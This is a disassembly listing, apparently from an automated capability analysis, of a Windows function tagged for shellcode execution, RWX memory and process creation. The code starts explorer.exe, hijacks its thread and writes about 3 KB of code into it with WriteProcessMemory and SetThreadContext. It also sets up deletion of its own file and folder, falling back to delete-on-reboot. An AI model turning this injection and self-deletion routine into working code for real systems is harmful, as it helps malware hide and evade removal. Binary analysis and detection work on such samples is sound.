Function at 0x4086c0
Capabilities:
Allocate or change rwx memory
Create process on windows
Delete file
Execute shellcode via indirect call
Get common file path
Move file
Resume thread
Set current directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4af489
mov eax, dword fs:[0]
push eax
mov eax, 0x1068
call fcn.0049aa90
mov eax, dword [0x51c0b0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x40], 0x4dd804
mov dword [ebp - 0x18], 0x4dcac4
call esi
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
xor eax, eax
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x28], 7
mov dword [ebp - 0x2c], 0
mov word [ebp - 0x3c], ax
mov byte [ebp - 4], 1
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov eax, dword [eax + 4]
push dword [ebp + eax - 0x18]
call edi
mov dword [ebp - 4], 5
lea eax, [ebp - 0x1024]
push 0x104
push eax
lea ecx, [ebp - 0x40]
call fcn.00409e80
mov byte [ebp - 4], 6
mov ecx, dword [eax]
mov byte [eax + 4], 1
call fcn.00404040
push 0x104
push dword [eax]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1024]
call fcn.00409da0
push 0
push 0
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x40]
call fcn.00409550
mov byte [ebp - 4], 7
lea eax, [ebp - 0x40]
push 0xc
sub esp, 0x30
mov ecx, esp
mov dword [ebp - 0x1028], esp
mov dword [ebp - 0x102c], ecx
push 0
push eax
mov dword [ecx], 0x4dd804
mov dword [ecx + 0x28], 0x4dcac4
call fcn.00407160
mov byte [ebp - 4], 9
mov byte [ebp - 4], 7
call fcn.0048ec8c
add esp, 0x34
test al, al
jne 0x4087fc
mov bl, 1
jmp 0x408b30
mov dword [ebp - 0x70], 0x4dd804
mov dword [ebp - 0x48], 0x4dcac4
call esi
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0xe
xor eax, eax
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x58], 7
mov dword [ebp - 0x5c], 0
mov word [ebp - 0x6c], ax
mov byte [ebp - 4], 0xf
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov byte [ebp - 4], 0x10
mov eax, dword [ebp - 0x48]
mov eax, dword [eax + 4]
push dword [ebp + eax - 0x48]
call edi
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0x1024]
push 0x104
push eax
lea ecx, [ebp - 0x70]
call fcn.00409e80
mov byte [ebp - 4], 0x14
mov ecx, dword [eax]
mov byte [eax + 4], 1
call fcn.00404040
push 0x104
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x1024]
call fcn.00409da0
cmp dword [ebp - 0x5c], 0
je 0x4088ad
cmp dword [ebp - 0x58], 8
lea eax, [ebp - 0x6c]
cmovae eax, dword [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0x40
lea eax, [ebp - 0x1070]
mov dword [ebp - 0x1074], 0x44
push 0
push eax
call fcn.0049b6a0
add esp, 0xc
mov dword [ebp - 0xa0], 0x4dd804
lea eax, [ebp - 0x1005]
mov dword [ebp - 0x78], 0x4dcac4
lea ecx, [ebp - 0xa0]
push 0
push eax
push str.explorer.exe
call fcn.004042c0
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 0xd0]
push eax
lea ecx, [ebp - 0x70]
call fcn.00408bb0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0xa0]
call fcn.00404db0
lea ecx, [ebp - 0xd0]
call fcn.00404040
lea ecx, [ebp - 0x1018]
push ecx
lea ecx, [ebp - 0x1074]
push ecx
push 0
push 0
push 0x44
push 0
push 0
push 0
push dword [eax]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x408957
xor bl, bl
jmp 0x408b15
push 0xc35
lea eax, [ebp - 0x1004]
push 0
push eax
call fcn.0049b6a0
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp - 0x28], 8
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x7fc], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x7f4], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp - 0x7f0], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x7ec], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x7e8], eax
lea eax, [ebp - 0x3c]
cmovae eax, dword [ebp - 0x3c]
push 0x104
push eax
lea eax, [ebp - 0x7df]
mov dword [ebp - 0x7f8], edi
push eax
mov byte [ebp - 0x7e0], 0
call fcn.004a2519
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea eax, [ebp - 0x800]
add esp, 0x18
push 0
push 0
push 0
push eax
push dword [ebp - 0x1018]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov eax, 0x4086b0
sub eax, 0x4085f0
cmp eax, 0x800
jbe 0x408a43
push 0
push dword [ebp - 0x1018]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x1018]
call edi
push dword [ebp - 0x1014]
call edi
cmp dword [ebp - 0x28], 8
lea eax, [ebp - 0x3c]
push 4
cmovae eax, dword [ebp - 0x3c]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
jmp 0x408b13
push eax
lea eax, [ebp - 0x1000]
push 0x4085f0
push eax
call fcn.0049c5d0
add esp, 0xc
mov dword [ebp - 0x3cc], 0x10003
lea eax, [ebp - 0x3cc]
push eax
push dword [ebp - 0x1014]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov esi, dword [ebp - 0x308]
add esi, 0xfffff3cb
and esi, 0xffffffe0
mov dword [ebp - 0x1004], esi
lea eax, [esi - 4]
mov dword [ebp - 0x308], eax
lea eax, [esi + 4]
mov dword [ebp - 0x314], eax
lea eax, [ebp - 0x1030]
push eax
push 0x40
push 0xc35
push esi
push dword [ebp - 0x1018]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0
push 0xc35
lea eax, [ebp - 0x1004]
push eax
push esi
push dword [ebp - 0x1018]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0xc35
push esi
push dword [ebp - 0x1018]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x3cc]
push eax
push dword [ebp - 0x1014]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x1014]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x1014]
call edi
push dword [ebp - 0x1018]
call edi
mov bl, 1
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0xd0]
call fcn.00404db0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x70]
call fcn.00404db0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x100]
call fcn.00404db0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40]
call fcn.00404db0
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004996ca
mov esp, ebp
pop ebp
ret